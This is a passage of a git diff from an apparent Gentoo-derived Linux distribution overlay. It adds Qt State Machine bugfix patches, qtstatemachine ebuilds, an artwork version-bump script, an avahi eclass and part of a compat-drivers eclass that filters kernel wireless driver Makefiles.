SKIP_AUTOMOC) ++ ++ IF ( NOT _skip AND EXISTS ${_abs_FILE} ) ++ ++ FILE(READ ${_abs_FILE} _contents) ++ ++ GET_FILENAME_COMPONENT(_abs_PATH ${_abs_FILE} PATH) ++ ++ STRING(REGEX MATCHALL "# *include +[^ ]+\\.moc[\">]" ++ _match ++ "${_contents}") ++ IF(_match) ++ FOREACH (_current_MOC_INC ${_match}) ++ STRING(REGEX MATCH "[^ <\"]+\\.moc" _current_MOC "${_current_MOC_INC}") ++ GET_FILENAME_COMPONENT(_basename ${_current_MOC} NAME_WE) ++ IF(EXISTS ${_abs_PATH}/${_basename}.hpp) ++ SET(_header ${_abs_PATH}/${_basename}.hpp) ++ ELSE(EXISTS ${_abs_PATH}/${_basename}.hpp) ++ SET(_header ${_abs_PATH}/${_basename}.h) ++ ENDIF(EXISTS ${_abs_PATH}/${_basename}.hpp) ++ SET(_moc ${CMAKE_CURRENT_BINARY_DIR}/${_current_MOC}) ++ QT4_CREATE_MOC_COMMAND(${_header} ${_moc} "${_moc_INCS}" "") ++ MACRO_ADD_FILE_DEPENDENCIES(${_abs_FILE} ${_moc}) ++ message("DEPS: ${_abs_FILE} -> ${_moc}") ++ ENDFOREACH (_current_MOC_INC) ++ ENDIF(_match) ++ STRING(REGEX MATCHALL "# *include [\"<]moc_+[^ ]+\\.cpp[\">]" ++ _match ++ "${_contents}" ++ ) ++ IF(_match) ++ FOREACH (_current_MOC_INC ${_match}) ++ STRING(REGEX MATCH "[^ <\"_]+\\.cpp" _current_MOC "${_current_MOC_INC}") ++ GET_FILENAME_COMPONENT(_basename ${_current_MOC} NAME_WE) ++ IF(EXISTS ${_abs_PATH}/${_basename}.hpp) ++ SET(_header ${_abs_PATH}/${_basename}.hpp) ++ ELSE(EXISTS ${_abs_PATH}/${_basename}.hpp) ++ SET(_header ${_abs_PATH}/${_basename}.h) ++ ENDIF(EXISTS ${_abs_PATH}/${_basename}.hpp) ++ SET(_moc ${CMAKE_CURRENT_BINARY_DIR}/moc_${_current_MOC}) ++ QT4_CREATE_MOC_COMMAND(${_header} ${_moc} "${_moc_INCS}" "") ++ MACRO_ADD_FILE_DEPENDENCIES(${_abs_FILE} ${_moc}) ++ ENDFOREACH (_current_MOC_INC) ++ ENDIF(_match) ++ ENDIF ( NOT _skip AND EXISTS ${_abs_FILE} ) ++ ENDFOREACH (_current_FILE) ++ENDMACRO(QT4_AUTOMOC_MY) ++ ++add_library(StateMachineFramework SHARED ++ ${QtStateMachines_SOURCES} ++ ) ++ ++QT4_AUTOMOC_MY(${QtStateMachines_SOURCES}) ++ ++target_link_libraries(StateMachineFramework ++ ${QT_QTCORE_LIBRARY} ++ ${QT_QTGUI_LIBRARY} ++ ${QT_QTSCRIPT_LIBRARY} ++ ) ++ ++set_target_properties(StateMachineFramework ++ PROPERTIES ++ OUTPUT_NAME ++ QtSolutions_StateMachineFramework-1.1 ++ VERSION 1.0.0 ++ SOVERSION 1.0.0) ++ ++install(TARGETS StateMachineFramework DESTINATION lib${LIB_SUFFIX}) ++install(FILES ${QtStateMachines_HEADERS} DESTINATION include/QtStateMachines/) diff --git a/dev-python/qtstatemachine/files/qstatemachines_fix_compound_state.patch_002 b/dev-python/qtstatemachine/files/qstatemachines_fix_compound_state.patch_002 new file mode 100644 index 00000000..917bbf43 --- /dev/null +++ b/dev-python/qtstatemachine/files/qstatemachines_fix_compound_state.patch_002 @@ -0,0 +1,82 @@ +--- src/qstatemachine_history_fixed.cpp 2009-07-26 18:21:12.000000000 +0200 ++++ src/qstatemachine.cpp 2009-07-27 15:46:45.000000000 +0200 +@@ -273,6 +273,27 @@ + } + } + ++QtState *QtStateMachinePrivate::findActiveLCA(const QList &states) ++{ ++ if (states.isEmpty()) ++ return rootState; ++ QList ancestors = properAncestors(states.at(0), 0); ++ for (int i = 0; i < ancestors.size(); ++i) { ++ QtState *anc = ancestors.at(i); ++ if (!configuration.contains(anc)) ++ continue; ++ bool ok = true; ++ for (int j = states.size() - 1; (j > 0) && ok; --j) { ++ const QtAbstractState *s = states.at(j); ++ if (!isDescendantOf(s, anc)) ++ ok = false; ++ } ++ if (ok) ++ return anc; ++ } ++ return rootState; ++} ++ + QtState *QtStateMachinePrivate::findLCA(const QList &states) + { + if (states.isEmpty()) +@@ -378,8 +399,18 @@ + QList lst = t->targetStates(); + if (lst.isEmpty()) + continue; +- lst.prepend(t->sourceState()); +- QtAbstractState *lca = findLCA(lst); ++ QtAbstractState *lca; ++ if (isDescendantOf(t->targetState(), t->sourceState())) ++ { ++ lst.prepend(t->targetState()); ++ lca = findActiveLCA(lst); ++ } ++ else ++ { ++ lst.prepend(t->sourceState()); ++ lca = findLCA(lst); ++ } ++ + { + QSet::const_iterator it; + for (it = configuration.constBegin(); it != configuration.constEnd(); ++it) { +@@ -451,8 +482,17 @@ + QList lst = t->targetStates(); + if (lst.isEmpty()) + continue; +- lst.prepend(t->sourceState()); +- QtState *lca = findLCA(lst); ++ QtState *lca; ++ if (isDescendantOf(t->targetState(), t->sourceState())) ++ { ++ lst.prepend(t->targetState()); ++ lca = findActiveLCA(lst); ++ } ++ else ++ { ++ lst.prepend(t->sourceState()); ++ lca = findLCA(lst); ++ } + for (int j = 1; j < lst.size(); ++j) { + QtAbstractState *s = lst.at(j); + addStatesToEnter(s, lca, statesToEnter, statesForDefaultEntry); +diff -ru src_old/qstatemachine_p.h src/qstatemachine_p.h +--- src_old/qstatemachine_p.h 2009-07-26 18:38:06.000000000 +0200 ++++ src/qstatemachine_p.h 2009-07-26 18:37:15.000000000 +0200 +@@ -109,6 +109,7 @@ + + static QtStateMachinePrivate *get(QtStateMachine *q); + ++ QtState *findActiveLCA(const QList &states); + static QtState *findLCA(const QList &states); + + static bool stateEntryLessThan(QtAbstractState *s1, QtAbstractState *s2); diff --git a/dev-python/qtstatemachine/files/qstatemachines_fix_history.patch_001 b/dev-python/qtstatemachine/files/qstatemachines_fix_history.patch_001 new file mode 100644 index 00000000..fff31346 --- /dev/null +++ b/dev-python/qtstatemachine/files/qstatemachines_fix_history.patch_001 @@ -0,0 +1,155 @@ +--- src/qstatemachine_orig.cpp 2009-07-26 11:41:00.000000000 +0200 ++++ src/qstatemachine.cpp 2009-07-26 12:41:26.000000000 +0200 +@@ -455,37 +455,7 @@ + QtState *lca = findLCA(lst); + for (int j = 1; j < lst.size(); ++j) { + QtAbstractState *s = lst.at(j); +- if (QtHistoryState *h = qobject_cast(s)) { +- QList hconf = QtHistoryStatePrivate::get(h)->configuration; +- if (!hconf.isEmpty()) { +- for (int k = 0; k < hconf.size(); ++k) { +- QtAbstractState *s0 = hconf.at(k); +- addStatesToEnter(s0, lca, statesToEnter, statesForDefaultEntry); +- } +-#ifdef QSTATEMACHINE_DEBUG +- qDebug() << q << ": restoring" +- << ((QtHistoryStatePrivate::get(h)->historyType == QtState::DeepHistory) ? "deep" : "shallow") +- << "history from" << s << ":" << hconf; +-#endif +- } else { +- QList hlst; +- if (QtHistoryStatePrivate::get(h)->defaultState) +- hlst.append(QtHistoryStatePrivate::get(h)->defaultState); +- if (hlst.isEmpty()) { +- setError(QtStateMachine::NoDefaultStateInHistoryState, h); +- } else { +- for (int k = 0; k < hlst.size(); ++k) { +- QtAbstractState *s0 = hlst.at(k); +- addStatesToEnter(s0, lca, statesToEnter, statesForDefaultEntry); +- } +-#ifdef QSTATEMACHINE_DEBUG +- qDebug() << q << ": initial history targets for" << s << ":" << hlst; +-#endif +- } +- } +- } else { +- addStatesToEnter(s, lca, statesToEnter, statesForDefaultEntry); +- } ++ addStatesToEnter(s, lca, statesToEnter, statesForDefaultEntry); + if (isParallel(lca)) { + QList lcac = QtStatePrivate::get(lca)->childStates(); + foreach (QtAbstractState* child,lcac) { +@@ -566,45 +536,78 @@ + QSet &statesToEnter, + QSet &statesForDefaultEntry) + { +- statesToEnter.insert(s); +- if (isParallel(s)) { +- QtState *grp = qobject_cast(s); +- QList lst = QtStatePrivate::get(grp)->childStates(); +- for (int i = 0; i < lst.size(); ++i) { +- QtAbstractState *child = lst.at(i); +- addStatesToEnter(child, grp, statesToEnter, statesForDefaultEntry); +- } +- } else if (isCompound(s)) { +- statesForDefaultEntry.insert(s); +- QtState *grp = qobject_cast(s); +- QtAbstractState *initial = grp->initialState(); +- if (initial != 0) { +- addStatesToEnter(initial, grp, statesToEnter, statesForDefaultEntry); ++#ifdef QSTATEMACHINE_DEBUG ++ Q_Q(QtStateMachine); ++#endif ++ if (QtHistoryState *h = qobject_cast(s)) { ++ QList hconf = QtHistoryStatePrivate::get(h)->configuration; ++ if (!hconf.isEmpty()) { ++ for (int k = 0; k < hconf.size(); ++k) { ++ QtAbstractState *s0 = hconf.at(k); ++ addStatesToEnter(s0, root, statesToEnter, statesForDefaultEntry); ++ } ++#ifdef QSTATEMACHINE_DEBUG ++ qDebug() << q << ": restoring" ++ << ((QtHistoryStatePrivate::get(h)->historyType == QtState::DeepHistory) ? "deep" : "shallow") ++ << "history from" << s << ":" << hconf; ++#endif + } else { +- setError(QtStateMachine::NoInitialStateError, grp); +- return; ++ QList hlst; ++ if (QtHistoryStatePrivate::get(h)->defaultState) ++ hlst.append(QtHistoryStatePrivate::get(h)->defaultState); ++ if (hlst.isEmpty()) { ++ setError(QtStateMachine::NoDefaultStateInHistoryState, h); ++ } else { ++ for (int k = 0; k < hlst.size(); ++k) { ++ QtAbstractState *s0 = hlst.at(k); ++ addStatesToEnter(s0, root, statesToEnter, statesForDefaultEntry); ++ } ++#ifdef QSTATEMACHINE_DEBUG ++ qDebug() << q << ": initial history targets for" << s << ":" << hlst; ++#endif ++ } + } +- } +- QList ancs = properAncestors(s, root); +- for (int i = 0; i < ancs.size(); ++i) { +- QtState *anc = ancs.at(i); +- if (!anc->parentState()) +- continue; +- statesToEnter.insert(anc); +- if (isParallel(anc)) { +- QList lst = QtStatePrivate::get(anc)->childStates(); +- for (int j = 0; j < lst.size(); ++j) { +- QtAbstractState *child = lst.at(j); +- bool hasDescendantInList = false; +- QSet::const_iterator it; +- for (it = statesToEnter.constBegin(); it != statesToEnter.constEnd(); ++it) { +- if (isDescendantOf(*it, child)) { +- hasDescendantInList = true; +- break; ++ } else { ++ statesToEnter.insert(s); ++ if (isParallel(s)) { ++ QtState *grp = qobject_cast(s); ++ QList lst = QtStatePrivate::get(grp)->childStates(); ++ for (int i = 0; i < lst.size(); ++i) { ++ QtAbstractState *child = lst.at(i); ++ addStatesToEnter(child, grp, statesToEnter, statesForDefaultEntry); ++ } ++ } else if (isCompound(s)) { ++ statesForDefaultEntry.insert(s); ++ QtState *grp = qobject_cast(s); ++ QtAbstractState *initial = grp->initialState(); ++ if (initial != 0) { ++ addStatesToEnter(initial, grp, statesToEnter, statesForDefaultEntry); ++ } else { ++ setError(QtStateMachine::NoInitialStateError, grp); ++ return; ++ } ++ } ++ QList ancs = properAncestors(s, root); ++ for (int i = 0; i < ancs.size(); ++i) { ++ QtState *anc = ancs.at(i); ++ if (!anc->parentState()) ++ continue; ++ statesToEnter.insert(anc); ++ if (isParallel(anc)) { ++ QList lst = QtStatePrivate::get(anc)->childStates(); ++ for (int j = 0; j < lst.size(); ++j) { ++ QtAbstractState *child = lst.at(j); ++ bool hasDescendantInList = false; ++ QSet::const_iterator it; ++ for (it = statesToEnter.constBegin(); it != statesToEnter.constEnd(); ++it) { ++ if (isDescendantOf(*it, child)) { ++ hasDescendantInList = true; ++ break; ++ } + } ++ if (!hasDescendantInList) ++ addStatesToEnter(child, anc, statesToEnter, statesForDefaultEntry); + } +- if (!hasDescendantInList) +- addStatesToEnter(child, anc, statesToEnter, statesForDefaultEntry); + } + } + } diff --git a/dev-python/qtstatemachine/qtstatemachine-1.1-r1.ebuild b/dev-python/qtstatemachine/qtstatemachine-1.1-r1.ebuild new file mode 100644 index 00000000..a1aaa525 --- /dev/null +++ b/dev-python/qtstatemachine/qtstatemachine-1.1-r1.ebuild @@ -0,0 +1,38 @@ +# Copyright 2004-2009 Sabayon Linux +# Distributed under the terms of the GNU General Public License v2 +# $ + +EAPI="2" +inherit eutils cmake-utils + +DESCRIPTION="Qt State Machine Framework" +SLOT="4" +KEYWORDS="~amd64 ~x86" +IUSE="" +SRC_URI="ftp://ftp.trolltech.com/qt/solutions/lgpl/qtstatemachine-1.1-opensource.tar.gz" +RESTRICT="mirror" +LICENSE="|| ( LGPL-2.1 GPL-3 QPL-1.0 )" + +RDEPEND="dev-libs/glib + media-libs/libpng + x11-libs/qt-core:4 + x11-libs/qt-gui:4" +DEPEND="${RDEPEND}" + +S="${WORKDIR}/${P}-opensource" + +src_prepare() { + # Add some bugfix patches + epatch "${FILESDIR}/"qstatemachines*.patch_* +} + +pkg_postinst() { + + ewarn "This package is VERY EXPERIMENTAL." + ewarn "Its build system is utterly broken (see CMake patch)." + ewarn "No examples are installed because of the issue above" + ewarn "...and your cat will be eaten by a black hole!" + einfo "Say thanks to Vincenzo Di Massa for the hard" + einfo "patching work." + +} diff --git a/dev-python/qtstatemachine/qtstatemachine-1.1.ebuild b/dev-python/qtstatemachine/qtstatemachine-1.1.ebuild new file mode 100644 index 00000000..7d222db9 --- /dev/null +++ b/dev-python/qtstatemachine/qtstatemachine-1.1.ebuild @@ -0,0 +1,49 @@ +# Copyright 2004-2009 Sabayon Linux +# Distributed under the terms of the GNU General Public License v2 +# $ + +EAPI="2" +inherit eutils base multilib + +DESCRIPTION="Qt State Machine Framework" +SLOT="4" +KEYWORDS="~amd64 ~x86" +IUSE="" +SRC_URI="ftp://ftp.trolltech.com/qt/solutions/lgpl/qtstatemachine-1.1-opensource.tar.gz" +RESTRICT="mirror" +LICENSE="|| ( LGPL-2.1 GPL-3 QPL-1.0 )" + +RDEPEND="dev-libs/glib + media-libs/libpng + x11-libs/qt-core:4 + x11-libs/qt-gui:4" +DEPEND="${RDEPEND}" + +S="${WORKDIR}/${P}-opensource" + +src_configure() { + + # build system is utterly broken + echo "yes" | ./configure -library || die "configure failed" + +} + +src_compile() { + qmake -makefile -nocache || die "qmake failed" + emake || "make failed" +} + +src_install() { + + # build system is broken + dolib.so lib/* + +} + +pkg_postinst() { + ewarn "This package is VERY EXPERIMENTAL." + ewarn "Its build system is utterly broken." + ewarn "No examples are installed because of the issue above" + ewarn "...and your cat will be eaten by a black hole!" + ewarn "plop!" +} diff --git a/do-artwork-bump.sh b/do-artwork-bump.sh new file mode 100755 index 00000000..a9c0c745 --- /dev/null +++ b/do-artwork-bump.sh @@ -0,0 +1,25 @@ +#!/bin/bash +# made by Sabayon GNU/Linux Team +if [ -z "$2" ]; then + echo do-artwork-bump.sh OLDVER NEWVER + exit +fi + +OLD=$1 +NEW=$2 +PACKAGES="x11-themes/rogentos-artwork-core x11-themes/rogentos-artwork-extra \ + x11-themes/rogentos-artwork-kde x11-themes/rogentos-artwork-gnome \ + x11-themes/rogentos-artwork-loo x11-themes/rogentos-artwork-lxde\ + x11-themes/rogentos-artwork-grub x11-themes/rogentos-artwork-isolinux" + +for package in ${PACKAGES}; do + name=$(echo ${package} | cut -d/ -f2) + if [ -a ${package}/${name}-${NEW}.ebuild ]; then + echo "${NEW} ebuild found, not overwriting" + else + cp ${package}/${name}-${OLD}.ebuild ${package}/${name}-${NEW}.ebuild + fi + ebuild ${package}/${name}-${NEW}.ebuild manifest --force clean install clean + git add ${package}/${name}-${NEW}.ebuild + git add ${package}/Manifest +done diff --git a/eclass/avahi.eclass b/eclass/avahi.eclass new file mode 100644 index 00000000..c9a9876d --- /dev/null +++ b/eclass/avahi.eclass @@ -0,0 +1,102 @@ +# Copyright 2004-2011 Sabayon +# Distributed under the terms of the GNU General Public License v2 +# $ + +SUPPORTED_AVAHI_MODULES="base gtk gtk3 mono qt" + +# @ECLASS-VARIABLE: AVAHI_MODULE +# @DESCRIPTION: +# Set this variable to the avahi module ebuild name, by default it's used +# the second part of PN, for example: for avahi-glib, it is "glib". +# Supported avahi modules: +# base gtk gtk3 mono qt +AVAHI_MODULE="${AVAHI_MODULE:-${PN/avahi-}}" + +# @ECLASS-VARIABLE: AVAHI_PATCHES +# @DEFAULT-UNSET +# @DESCRIPTION: +# List of patches to apply +if [ -z "${AVAHI_PATCHES}" ]; then + AVAHI_PATCHES=() +fi + +# @ECLASS-VARIABLE: AVAHI_MODULE_DEPEND +# @DESCRIPTION: +# Avahi module built time dependencies list +AVAHI_MODULE_DEPEND="${AVAHI_MODULE_DEPEND:-}" + +# @ECLASS-VARIABLE: AVAHI_MODULE_RDEPEND +# @DESCRIPTION: +# Avahi module run time dependencies list +AVAHI_MODULE_RDEPEND="${AVAHI_MODULE_RDEPEND:-}" + +# @ECLASS-VARIABLE: AVAHI_MODULE_PDEPEND +# @DESCRIPTION: +# Avahi module post dependencies list +AVAHI_MODULE_PDEPEND="${AVAHI_MODULE_PDEPEND:-}" + +_supported="0" +for mod in ${SUPPORTED_AVAHI_MODULES} ; do + if [ "${mod}" = "${AVAHI_MODULE}" ]; then + _supported="1" + break + fi +done +if [ "${_supported}" = "0" ]; then + die "Unsupported avahi module: ${AVAHI_MODULE}" +fi + +MY_P=${P/-${AVAHI_MODULE}} + +inherit autotools eutils flag-o-matic + +DESCRIPTION="avahi ${AVAHI_MODULE} module" +HOMEPAGE="http://avahi.org/" +SRC_URI="http://avahi.org/download/${MY_P}.tar.gz" +S="${WORKDIR}/${MY_P}" + +LICENSE="LGPL-2.1" +SLOT="0" +KEYWORDS="~amd64 ~x86" + +AVAHI_COMMON_DEPEND=">=dev-util/intltool-0.40.5 + >=dev-util/pkgconfig-0.9.0" +DEPEND="${AVAHI_MODULE_DEPEND} ${AVAHI_COMMON_DEPEND}" +RDEPEND="${AVAHI_MODULE_RDEPEND}" +PDEPEND="${AVAHI_MODULE_PDEPEND}" + +avahi_src_prepare() { + sed -i\ + -e "s:\\.\\./\\.\\./\\.\\./doc/avahi-docs/html/:../../../doc/${PF}/html/:" \ + doxygen_to_devhelp.xsl || die + + for i in ${!AVAHI_PATCHES[@]}; do + epatch "${AVAHI_PATCHES[i]}" + done + + eautoreconf +} + +avahi_src_configure() { + use sh && replace-flags -O? -O0 + # We need to unset DISPLAY, else the configure script might have problems detecting the pygtk module + unset DISPLAY + local myconf=" + --disable-static + --localstatedir=/var + --with-distro=gentoo + --disable-xmltoman + --disable-monodoc + --enable-glib + --enable-gobject + --disable-qt3 + $@" + econf ${myconf} +} + +avahi_src_install-cleanup() { + # Remove .la files + find "${D}" -name '*.la' -exec rm -f {} + || die +} + +EXPORT_FUNCTIONS src_prepare src_configure diff --git a/eclass/compat-drivers-3.7.eclass b/eclass/compat-drivers-3.7.eclass new file mode 100644 index 00000000..58bcee62 --- /dev/null +++ b/eclass/compat-drivers-3.7.eclass @@ -0,0 +1,543 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + + +# @ECLASS: compat-drivers-3.7.eclass +# @MAINTAINER: +# wuodan@pentoo.ch +# @BLURB: Implements functionality of driver-select script for several modules +# @DESCRIPTION: +# Implements functionality of driver-select script for several modules + +# compose IUSE and REQUIRED_USE from the categories +IUSE+=" +build-all-modules" +REQUIRED_USE+=" || (" +for useexp in ${CPD_USE_EXPAND}; do + USE_TEMP="\$CPD_USE_EXPAND_$useexp" + for iuse in `eval echo "\$USE_TEMP"`; do + if [ "${iuse:0:1}" = '+' ]; then + IUSE+=" ${iuse:0:1}compat_drivers_${useexp}_${iuse:1}" || die + REQUIRED_USE+=" compat_drivers_${useexp}_${iuse:1}" || die + else + IUSE+=" compat_drivers_${useexp}_${iuse}" || die + REQUIRED_USE+=" compat_drivers_${useexp}_${iuse} build-all-modules" || die + fi + done +done +REQUIRED_USE+=" )" + +# ============================================================================== +# INTERNAL VARIABLES +# ============================================================================== + +# @VARIABLE: CPD_USE_EXPAND +# @DESCRIPTION: +# This variable needs to be set in the ebuild and contains the categories for +# USE_EXPAND + +# @VARIABLE: CPD_USE_EXPAND_category +# @DESCRIPTION: +# These variables need to be set in the ebuild, one per category in +# CPD_USE_EXPAND. They contain the modules of the categories. + +# @ECLASS-VARIABLE: CPD_MODULE +# @DESCRIPTION: +# This internal variable contains a temporary value, the currently processed +# module. + +# @ECLASS-VARIABLE: CPD_DISABLE_${CPD_MODULE} +# @DESCRIPTION: +# These internal variables contains values, the 'disable-actions' of the +# currently processed module. One variable exists for each active module. + +# @ECLASS-VARIABLE: CPD_MAKEFILES +# @DESCRIPTION: +# This internal variable contains a list of all 'Makefile's +CPD_MAKEFILES=" + MAKEFILE + COMPAT_CONFIG_CW + DRIVERS_MAKEFILE + ATH_MAKEFILE + ATH9K_MAKEFILE + BRCM80211_MAKEFILE + RT2X00_MAKEFILE + TI_MAKEFILE + NET_WIRELESS_MAKEFILE + EEPROM_MAKEFILE + DRIVERS_NET_ATHEROS + DRIVERS_NET_BROADCOM + DRIVERS_NET_USB_MAKEFILE + SSB_MAKEFILE + BCMA_MAKEFILE" + +# @ECLASS-VARIABLE: CPD_MAKEFILES_ARRAY +# @DESCRIPTION: +# This internal variable contains an array with paths to all files +CPD_MAKEFILES_ARRAY=( + MAKEFILE=Makefile + COMPAT_CONFIG_CW=config.mk + DRIVERS_MAKEFILE=drivers/net/wireless/Makefile + ATH_MAKEFILE=drivers/net/wireless/ath/Makefile + ATH9K_MAKEFILE=drivers/net/wireless/ath/ath9k/Makefile + BRCM80211_MAKEFILE=drivers/net/wireless/brcm80211/Makefile + RT2X00_MAKEFILE=drivers/net/wireless/rt2x00/Makefile + TI_MAKEFILE=drivers/net/wireless/ti/Makefile + NET_WIRELESS_MAKEFILE=net/wireless/Makefile + EEPROM_MAKEFILE=drivers/misc/eeprom/Makefile + DRIVERS_NET_ATHEROS=drivers/net/ethernet/atheros/Makefile + DRIVERS_NET_BROADCOM=drivers/net/ethernet/broadcom/Makefile + DRIVERS_NET_USB_MAKEFILE=drivers/net/usb/Makefile + SSB_MAKEFILE=drivers/ssb/Makefile + BCMA_MAKEFILE=drivers/bcma/Makefile +) + +# ============================================================================== +# INTERNAL FUNCTIONS +# ============================================================================== + +# @FUNCTION: get_makefile +# @DESCRIPTION: +# This internal function returns the path to a file from CPD_MAKEFILES_ARRAY +function get_makefile { + for file in "${CPD_MAKEFILES_ARRAY[@]}"; do + if [ "${file%%=*}" = "${1}" ]; then + echo "${file#*=}" + return 0 + fi + done + die "Not found" +} + +# @FUNCTION: select_drivers_from_makefile +# @DESCRIPTION: +# This internal function filters a Makefile +# It deletes all non matching lines! +function select_drivers_from_makefile +{ + local makefile=$(get_makefile "$1") + shift + local configs="" + for i in $@; do + [ "${configs}" != '' ] && configs+='|' + configs+="${i}" + done + einfo "Filtering file ${makefile} for: ${configs}" + sed -r "/${configs}/!d" ${makefile} > ${makefile}.tmp || die + mv ${makefile}.tmp ${makefile} || die +} + +# @FUNCTION: disable +# @DESCRIPTION: +# This internal function registers a 'disable' action for a module. +# It writes to a variable CPD_DISABLE_${CPD_MODULE} +function disable { + eval "CPD_DISABLE_${CPD_MODULE}+=\" ${*}\"" || die +} + +# @FUNCTION: disable_makefile +# @DESCRIPTION: +# This internal function clears a Makefile completely. Use with care! +function disable_makefile { + einfo "Clearing entire file: ${1}" + echo > $1 || die +} + +# @FUNCTION: disable_staging +# @DESCRIPTION: +# This internal function disables "staging" +function disable_staging +{ + # perl -i -ne 'print if ! /CONFIG_COMPAT_STAGING/ ' "${MAKEFILE}" + sed -i '/CONFIG_COMPAT_STAGING/d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_update-initramfs +# @DESCRIPTION: +# This internal function disables "update-initramfs" +function disable_update-initramfs +{ + # perl -i -ne 'print if ! /update-initramfs/' "${MAKEFILE}" + sed -i '/update-initramfs/d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_lib80211 +# @DESCRIPTION: +# This internal function disables "update-initramfs" +function disable_lib80211 +{ + # perl -i -ne 'print if ! /LIB80211/ ' $NET_WIRELESS_MAKEFILE + sed -i '/LIB80211/d' "$(get_makefile NET_WIRELESS_MAKEFILE)" || die +} + +# @FUNCTION: disable_b44 +# @DESCRIPTION: +# This internal function disables "b44" +function disable_b44 { + # perl -i -ne 'print if ! /CONFIG_B44/ ' $DRIVERS_NET_BROADCOM + sed -i '/CONFIG_B44/d' "$(get_makefile DRIVERS_NET_BROADCOM)" || die +} + +# @FUNCTION: disable_ssb +# @DESCRIPTION: +# This internal function disables "ssb" +function disable_ssb +{ + disable_makefile "$(get_makefile ${SSB_MAKEFILE})" + # perl -i -ne 'print if ! /drivers\/ssb\//' "${MAKEFILE}" + sed -i '/drivers\/ssb\//d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_bcma +# @DESCRIPTION: +# This internal function disables "bcma" +function disable_bcma +{ + disable_makefile "$(get_makefile ${BCMA_MAKEFILE})" + # perl -i -ne 'print if ! /drivers\/bcma\//' "${MAKEFILE}" + sed -i '/drivers\/bcma\//d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_rfkill +# @DESCRIPTION: +# This internal function disables "rfkill" +function disable_rfkill +{ + # perl -i -ne 'print if ! /CONFIG_COMPAT_RFKILL/' "${MAKEFILE}" + sed -i '/CONFIG_COMPAT_RFKILL/d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_eprom +# @DESCRIPTION: +# This internal function disables "eprom" +function disable_eeprom +{ + disable_makefile "$(get_makefile ${EEPROM_MAKEFILE})" || die + # perl -i -ne 'print if ! /drivers\/misc\/eeprom\//' "${MAKEFILE}" + sed -i '/drivers\/misc\/eeprom\//d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_usbnet +# @DESCRIPTION: +# This internal function disables "usbnet" +function disable_usbnet +{ + disable_makefile ${DRIVERS_NET_USB_MAKEFILE} || die + # perl -i -ne 'print if ! /drivers\/net\/usb\//' "${MAKEFILE}" + sed -i '/drivers\/net\/usb\//d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_usbnet +# @DESCRIPTION: +# This internal function disables "usbnet" +# this function is twice in driver-select script!?! +function disable_usbnet { + # perl -i -ne 'print if ! /CONFIG_COMPAT_NET_USB_MODULES/' "${MAKEFILE}" + sed -i '/CONFIG_COMPAT_NET_USB_MODULES/d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_ethernet +# @DESCRIPTION: +# This internal function disables "ethernet" +function disable_ethernet { + # perl -i -ne 'print if ! /CONFIG_COMPAT_NETWORK_MODULES/' "${MAKEFILE}" + sed -i '/CONFIG_COMPAT_NETWORK_MODULES/d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_var_03 +# @DESCRIPTION: +# This internal function disables "var_03" +function disable_var_03 { + # perl -i -ne 'print if ! /CONFIG_COMPAT_VAR_MODULES/' "${MAKEFILE}" + sed -i '/CONFIG_COMPAT_VAR_MODULES/d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_bt +# @DESCRIPTION: +# This internal function disables "bt" +function disable_bt { + # perl -i -ne 'print if ! /CONFIG_COMPAT_BLUETOOTH/' "${MAKEFILE}" + sed -i '/CONFIG_COMPAT_BLUETOOTH/d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_80211 +# @DESCRIPTION: +# This internal function disables "80211" +function disable_80211 { + # perl -i -ne 'print if ! /CONFIG_COMPAT_WIRELESS/' "${MAKEFILE}" + sed -i '/CONFIG_COMPAT_WIRELESS/d' "$(get_makefile MAKEFILE)" || die +} + +# @FUNCTION: disable_ath9k_rate_control +# @DESCRIPTION: +# This internal function disables "ath9k_rate_control" +# new function, not in driver-select +function disable_ath9k_rate_control { + # perl -i -ne 'print if ! /CONFIG_COMPAT_ATH9K_RATE_CONTROL/ ' $COMPAT_CONFIG_CW + sed -i '/CONFIG_COMPAT_ATH9K_RATE_CONTROL/d' "$(get_makefile COMPAT_CONFIG_CW)" || die +} + +# @FUNCTION: select_drivers +# @DESCRIPTION: +# This internal function registers filters for the drivers Makefile +function select_drivers { + eval "CPD_DRIVERS_MAKEFILE+=\" ${*}\"" || die +} + +# @FUNCTION: select_ath_driver +# @DESCRIPTION: +# This internal function registers filters for the ath Makefile +function select_ath_driver { + eval "CPD_ATH_MAKEFILE+=\" ${*}\"" || die +} + +# @FUNCTION: select_ath_driver_common +# @DESCRIPTION: +# This internal function registers common filters for the ath Makefile +function select_ath_driver_common { + # eval "CPD_ATH_MAKEFILE+=\" CONFIG_ATH_ ath-objs regd.o hw.o\"" || die + select_ath_driver CONFIG_ATH_ ath-objs regd.o hw.o key.o || die +} + +# @FUNCTION: select_brcm80211_driver +# @DESCRIPTION: +# This internal function registers filters for the brcm80211 Makefile +function select_brcm80211_driver { + eval "CPD_BRCM80211_MAKEFILE+=\" ${*}\"" || die +} + +# @FUNCTION: select_ti_driver +# @DESCRIPTION: +# This internal function registers filters for the ti Makefile +function select_ti_drivers { + select_drivers CONFIG_WL_TI + eval "CPD_TI_MAKEFILE+=\" ${*}\"" || die +} + +# @FUNCTION: set_flag +# @DESCRIPTION: +# This internal function contains the configuration for each flag/module +function set_flag { + # clear/set global vars + CPD_MODULE=$1 + case $1 in + ath5k) + disable staging usbnet ethernet bt update-initramfs var_03 || die + select_drivers CONFIG_ATH_COMMON || die + select_ath_driver CONFIG_ATH5K || die + select_ath_driver_common || die + ;; + ath9k) + disable staging usbnet ethernet bt update-initramfs var_03 || die + select_drivers CONFIG_ATH_COMMON || die + select_ath_driver CONFIG_ATH9K_HW || die + select_ath_driver_common || die + ;; + ath9k_ap) + disable staging usbnet ethernet bt update-initramfs var_03 || die + select_drivers CONFIG_ATH_COMMON || die + select_ath_driver CONFIG_ATH9K_HW || die + 